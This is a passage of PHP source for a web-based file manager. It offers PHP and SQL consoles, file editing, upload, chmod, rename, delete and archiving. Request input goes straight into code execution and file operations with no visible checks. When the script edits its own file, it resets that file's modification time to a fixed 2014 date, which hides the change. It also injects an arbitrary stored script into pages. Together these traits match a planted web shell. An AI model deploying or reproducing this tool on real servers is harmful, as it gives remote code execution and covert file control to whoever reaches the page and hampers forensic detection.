QC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
